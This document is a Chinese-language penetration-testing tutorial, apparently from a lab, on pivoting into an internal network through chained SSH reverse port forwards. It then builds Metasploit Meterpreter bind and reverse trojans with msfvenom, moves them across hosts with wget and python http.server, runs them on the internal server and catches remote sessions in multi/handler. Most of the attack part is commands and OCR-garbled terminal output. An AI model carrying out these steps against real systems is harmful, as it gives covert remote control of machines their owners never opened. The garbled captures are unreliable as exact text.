SSH隧道
概述
SSH 隧道（SSH tunneling）是把其他网络流量封装在 SSH 加密连接里转发，常用于安全访问内网服务、穿透 NAT/防火墙、做临时代理。
核心命令是 ssh 的端口转发功能。
内网穿透
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#1. 发现内网存活22端口，那么处于外网环境下的kali如何访问?

netstat -anpt



# 将本地的应用端口，转发给外网服务器的外网端口

ssh -CfNg -R 外网端口:localhost:本地应用端口 root@外网服务器的IP地址



# -C客户端向服务器端发起连接

# -f后台运行，-N表示做端口转发，-g 允许远程服务器连接本地机器进行转发端口

# -R 表示将内网端口映射到外网的端口



#2.内网服务器运行：

# 将内网端口映射到外网端口 22 <-> 10022

ssh -CfNg -R 10022:localhost:22 root@10.20.30.128



#3.外网服务器运行：

# 将外网端口映射到kali端口 10022 <-> 10022

ssh -CfNg -R 10022:localhost:10022 root@192.168.88.104





#4. kali机器中运行ssh

ssh root@127.0.0.1 -p 10022

内网服务器：
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外网服务器：
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连接目标：
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MSF正向木马
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#1.制作MSF木马

msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=6789 -f elf -o linux_6789.elf



#2. 木马的传递：kali---外网服务器---内网服务器

#2.1 kali

python -m http.server



#2.2 外网服务器接收并传输

wget http://192.168.88.104:8000/linux_6789.elf

python -m SimpleHTTPServer 2323



#2.3 内网服务器接收并运行

wget http://10.20.30.128:2323/linux_6789.elf

chmod a+x linux_6789.elf

./linux_6789.elf &



#3. 木马端口的传递

#3.1 内网服务器

ssh -CfNg -R 16789:localhost:6789 root@10.20.30.128

#3.2 外网服务器

ssh -CfNg -R 16789:localhost:16789 root@192.168.88.104



#4.MSF上线木马

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/bind_tcp

set rhost 127.0.0.1

set lport 16789

run



目标上线：
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MSF反向木马
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kali机器：
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外网服务器：
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内网服务器：
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[root@localhost test]# ssh —CfNg -R 10022:localhost:22 root@10.20.30.128
The authenticity of host '10.20.30.128 (10.20.30.128)' can't be established.
ECDSA key fingerprint is SHA256:SFQ5EInJ7j20RvGUdhcjP6c9puvsAY/dHIcXyax6nlQ.
ECDSA key fingerprint is MD5:47:af:fb:U0:U4f:51:8e:81:eld:7a:63:bU:0b:78:ef:7e.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.20.30.128' (ECDSA) to the list of known hosts.
root@10.20.30.128's password:
[root@localhost test]# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.20.30.131 netmask 255.255.255.0 broadcast 10.20.30.255
inet6 fe80::a707:ccbb:3c00:dOU7 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:68:1b:f6 txqueuelen 1000 (Ethernet)
RX packets 33445 bytes 3498u4597 (33.3 MiB)
RX errors 0 dropped @ overruns 0 frame O
TX packets 21363 bytes 24757141 (23.6 MiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1560 bytes 3250533 (3.0 MiB)
RX errors 0 dropped @ overruns 0 frame O
TX packets 1560 bytes 3250533 (3.0 MiB)
TX errors © dropped O overruns 0 carrier O collisions 0

[root@localhost test]#
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[root@localhost test]# netstat —anpt
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[root@localhost test]# ssh —CfNg -R 16022: localhost 10022 root@192.168.88.104

The authenticity of host '192.168.88.104 (192.168.88.104)' can't be established.

ECDSA key fingerprint is SHA256:vSrqOK/KaXDtG+1Yx5ZZiXZcQDxDhLNBaYzKoqQAFbL .
ECDSA key fingerprint is MD5:91:c6:99:a8:df:61:3a:al:51:U4d:27:37:fa:99:61:a6.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.88.104' (ECDSA) to the list of known hosts.

root@192.168.88.1064"

s password:

[root@localhost test]#

PID/Program name
1225/redis-server 1
968/sshd
1196/master
3438/sshd:
3438/sshd:
2309/sshd:
2355/sshd:
2374 /sshd:
235U /ssh
1529/mysqld
1097/httpd
1186/proftpd: (acce
968/sshd
1196/master
1097/httpd
3438/sshd: root

root
root
root@pts
root@pts
root@pts
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tcp6b 0 0 :::22 L LISTEN 1052/sshd: /usr/sbi
tcp6 0 0 ::1:10022 N LISTEN 589702/sshd-session

L—(root@ kali)-[/tmp/test]
# ssh root@127.0.0.1 -p 10022
The authenticity of host '[127.0.0.1]:10022 ([127.0.0.1]:10022)' can't be established.
ED25519 key fingerprint is: SHA256:PdYksJtoOnsFm+R20Vwz1lj2AYg9JvYGvVolqlOOwWrrM
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
~/.ssh/known_hosts: [hashed namel
~/.ssh/known_hosts: [hashed namel
~/.ssh/known_hosts: [hashed namel
~/.ssh/known_hosts: [hashed name]
~/.ssh/known_hosts: [hashed namel
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]1:10022' (ED25519) to the list of known hosts.
*% WARNING: connection is not using a post—quantum key exchange algorithm.
**% This session may be vulnerable to "store now, decrypt later" attacks.
*%x The server may need to be upgraded. See https://openssh.com/pq.html
root@127.0.0.1's password:
Last login: Mon Oct 12 22:08:42 2026 from localhost
[root@localhost ~]# ifconfig
ens33: flags=U4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.20.30.131 netmask 255.255.255.0 broadcast 10.20.30.255
inet6 fe80::a707:ccbb:3c00:doU7 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:68:1b:f6 txqueuelen 1000 (Ethernet)
RX packets 33u84 bytes 34989947 (33.3 MiB)
RX errors 0 dropped © overruns © frame 0O
TX packets 21391 bytes 24762753 (23.6 MiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

No o Ew

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
> RX packets 1626 bytes 3261623 (3.1 MiB)
RX errors © dropped © overruns © frame 0O
TX packets 1626 bytes 3261623 (3.1 MiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0
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msf exploit(multi/handler) > run

[*] Started bind TCP handler against 127.0.0.1:16789

[*] Sending stage (3106788 bytes) to 127.0.0.1

[*] Meterpreter session 2 opened (127.0.0.1:35225 -> 127.0.0.1:16789) at 2026-10-13 16:20:26 +0800

meterpreter > ifconfig

Interface 1

Name : lo

Hardware MAC : 00:00:00:00:00:00
MTU : 65536

Flags : UP,LOOPBACK

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff.Fffff.frff:FFFF::

Interface 2

Name : ens33

Hardware MAC : 00:0c:29:68:1b:f6

MTU : 1500

Flags : UP,BROADCAST, MULTICAST

PPvld Address : 10.20.30.131

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::a707:ccbb:3c00:dou7
IPv6 Netmask : ffff:ffff:ffff:ffff::
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L—(root@ kali)-[/tmp/test]
# ssh —-CfNg —-R 9876:localhost:3U456 root@192.168.88.125
The authenticity of host '192.168.88.125 (192.168.88.125)' can't be established.
ED25519 key fingerprint is: SHA256:PdYksJtoOnsFm+R20Vwz1j2AYg9JvYGvVolqlOOwWrrM
This host key is known by the following other names/addresses:
~/.ssh/known_hosts: [hashed namel
~/.ssh/known_hosts: [hashed name]
~/.ssh/known_hosts: [hashed namel
~/.ssh/known_hosts: [hashed namel
~/.ssh/known_hosts: [hashed namel
~/.ssh/known_hosts: [hashed namel
~/.ssh/known_hosts: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.88.125' (ED25519) to the list of known hosts.
*% WARNING: connection is not using a post—-quantum key exchange algorithm.
**% This session may be vulnerable to "store now, decrypt later" attacks.
*%x The server may need to be upgraded. See https://openssh.com/pq.html
root@192.168.88.125's password:

ooqcnm.l:wn—-

L—(root@ kali)-[/tmp/test]
#
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[root@localhost test]# ifconfig
ens33: flags=U4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 192.168.88.125 netmask 255.255.255.0 broadcast 192.168.88.255
inet6 fe80::a707:ccbb:3c00:dod7 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:4e:a5:8a txqueuelen 1000 (Ethernet)
RX packets 86049 bytes 64339083 (61.3 MiB)
RX errors © dropped © overruns © frame 0O
TX packets 146352 bytes 12660160 (12.0 MiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

ens36: flags=U4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 10.20.30.128 netmask 255.255.255.0 broadcast 10.20.30.255
inet6 fe80::f203:7a23:5b5d:92U1 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:4e:a5:94 txqueuelen 1000 (Ethernet)
RX packets 23879 bytes 21552161 (20.5 MiB)
RX errors © dropped © overruns © frame 0O
TX packets 36672 bytes 5357u4u483 (51.0 MiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8947 bytes 29282778 (27.9 MiB)
> RX errors © dropped © overruns © frame 0O
TX packets 8947 bytes 29282778 (27.9 MiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

[root@localhost test]# ssh -CfNg -R 11168:localhost:9876 root@10.20.30.131
[root@localhost test]#
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[root@localhost test]# ifconfig
ens33: flags=uU4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.20.30.131 netmask 255.255.255.0 broadcast 10.20.30.255
inet6 fe80::a707:ccbb:3c00:dOU7 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:68:1b:f6 txqueuelen 1000 (Ethernet)
RX packets 35520 bytes 361466U45 (3u4.4 MiB)
RX errors 0 dropped @ overruns 0 frame O
TX packets 22371 bytes 24909498 (23.7 MiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 2623 bytes 9568719 (9.1 MiB)
RX errors 0 dropped @ overruns 0 frame O
TX packets 2623 bytes 9568719 (9.1 MiB)
TX errors 0 dropped O overruns O carrier O collisions 0

[root@localhost test]# ./linux_11168.elf &
[1] 2254
[root@localhost test]#
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msf exploit(multi/handler) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverselistenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:3U456

[*] Sending stage (3106788 bytes) to 127.0.0.1

[*] Meterpreter session 1 opened (127.0.0.1:3456 —> 127.0.0.1:34210) at 2026-10-13 17:01:40 +0800

meterpreter > ifconfig

Interface 1

Name

MTU
Flags
IPv4 Address

IPv4 Netmask :

IPv6 Address
IPv6 Netmask

Interface 2

Name

Hardware MAC :

MTU
Flags
PPvl4 Address

IPv4 Netmask :
: fe80::a707:ccbb:3c00:dou7
: FFff ffff ffff FFFf::

IPv6 Address
IPv6 Netmask

: lo
Hardware MAC :
: 65536

: UP,LOOPBACK

00:00:00:00:00:00

127.0.0.1
255.0.0.0
--1

L FFEEEEFEFEEE FFRE FEFEFFFEE:

: ens33

00:0c:29:68:1b:f6
1500

: UP,BROADCAST,MULTICAST

10.20.30.131
255.255.255.0
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